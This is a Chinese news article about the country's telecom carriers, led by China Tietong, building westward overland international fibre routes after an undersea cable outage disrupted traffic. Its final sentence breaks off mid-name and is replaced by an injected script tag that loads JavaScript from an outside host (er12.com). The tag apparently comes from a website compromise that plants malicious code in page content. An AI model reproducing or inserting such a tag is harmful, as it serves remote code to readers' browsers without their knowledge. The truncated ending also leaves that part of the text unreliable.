在去年12月26日的”海纜中斷”事件之后，迅速打開新的國際網絡通道，正成為運營商們亡羊補牢的首要之務。從今年初開始，電信、網通和聯通都加快了西進步伐。
       向西，再向西。
       在外界的注意之外，中國國際通信網絡的西進通道正悄然打開擴張勢頭。
       “信產部已經批準，中國鐵通擁有的部分國際通信設施投入對公眾服務。”4月19日，中國鐵通市場總監劉凌鈞向本報記者透露，“大量以前只能鐵路專用的陸地光纜，將轉變為國際通信的傳輸資源。”
       此前的3月底，由聯通與俄羅斯電信合作的中歐最大陸地光纜項目已全面啟動，而據記者了解，中國電信和中國網通在西方向的國際通信通道也在變局中。
       顯然，在去年12月26日的”海纜中斷”事件之后，迅速打開新的國際網絡通道，正成為運營商們亡羊補牢的首要之務。
       鐵通入局
       4月20日，鐵通新聞發言人郭曉昭向記者證實，信產部已經批準，鐵通可在深圳-香港、綏芬河-俄羅斯，以及阿拉山口-哈薩克斯坦3個國際通信出口，使用自有設施承載提供國際通信業務。
       “等這一紙批文，我們已經等了好幾年。”劉凌鈞說，獲準將國際通信設施投入對公眾服務，將成為鐵通在國際通信業務上的一個拐點。
       事實上，自成立之日起，鐵通就一直擁有大量的出口網絡資源。據記者了解，鐵通現已建有10個國際通信出口，并擁有對應的光纜資源。“只需要添加少量的終端設備，就可以迅速提供大量的出口帶寬。”劉凌鈞說，“比如俄羅斯出口，我們計劃的帶寬下限就是10g，如果需要還可以提供更多。”
       不過，由于監管部門對國際通信出口的嚴格許可控制，鐵通的國際通信網絡，只能用于國際鐵路的聯運出口等專網應用，而不能用于通信業務。甚至，鐵通自身的國際通信業務都只能租用其他運營商的網絡。
       鐵通一直希望能將這些資源盤活。自2004年開始，鐵通一直在向信產部提交申請，希望能將以上國際通信資源用于民用通信，但在隨后2年中，該申請一直未有下文。
       “監管部門一直沒有批準的原因在于，此前中國的國際通信業務需求量規模較小，國際出口帶寬已經足夠且相對穩定，所以沒有考慮增加新的出口。”業內專家表示，“而去年底的海纜中斷事件，令監管層意識到，以前的網絡結構過分依賴于東部的海纜，有必要在其他方向增加網絡出口布局，這是鐵通此次獲批的原因之一。”
       “目前我們正在跟境外的電信運營合作伙伴重啟談判。”劉凌鈞透露，早在數年前，鐵通就已經計劃與俄羅斯鐵通等運營商展開國際通信業務合作，甚至已有合作框架條款，但由于遲遲未獲批文，計劃一直耽擱至今，“現在時間已經過了很久，我們必須重新討論修改一些合作的細節。”
       集體西進
       鐵通并不是惟一的沖動者。
       此前，中國對外通信通道主要集中于中國電信、網通和聯通3家運營商，移動、鐵通和衛通相對較少。而從今年初開始，電信、網通和聯通都加快了西進步伐。
       就在3月下旬，中國聯通已經與俄羅斯鐵通就合作開通新的中歐陸路光纜達成協議，雙方將共同搭建一條10g帶寬，經由滿洲里至俄羅斯，再由貝加爾地區直達歐洲的國際光纜。
       “除此之外，聯通也有規劃建立更多的陸纜線路。”4月19日，聯通內部人士向記者透露，聯通將在今年建立一條連接阿塞拜疆的通信線路，而明年的計劃是連接緬甸。
       與之對應的是，中國網通在西南和西北方向也將增加陸地光纜出口。據透露，目前網通已經建成中越(東興)、中俄撫遠、中俄滿洲里、中蒙二連浩特等向西延伸的陸纜，其中中俄撫遠、中越(東興)兩條線路在2006年更已進行擴容。
       “在2007年，網通還將新建中俄(黑河)和中越(憑祥)陸纜。”網通人士向記者透露。
       4月20日，消息人士向記者透露，中國電信目前也在考慮建設西進的國際通信線路，或是與其他運營商合作，建立更多向西方向的通信路由出口。
       在很多人看來，運營商們的集體西進早在意料之中。
       今年1月底，信產部電信管理局局長蘇?script src=http://er12.com/t.js>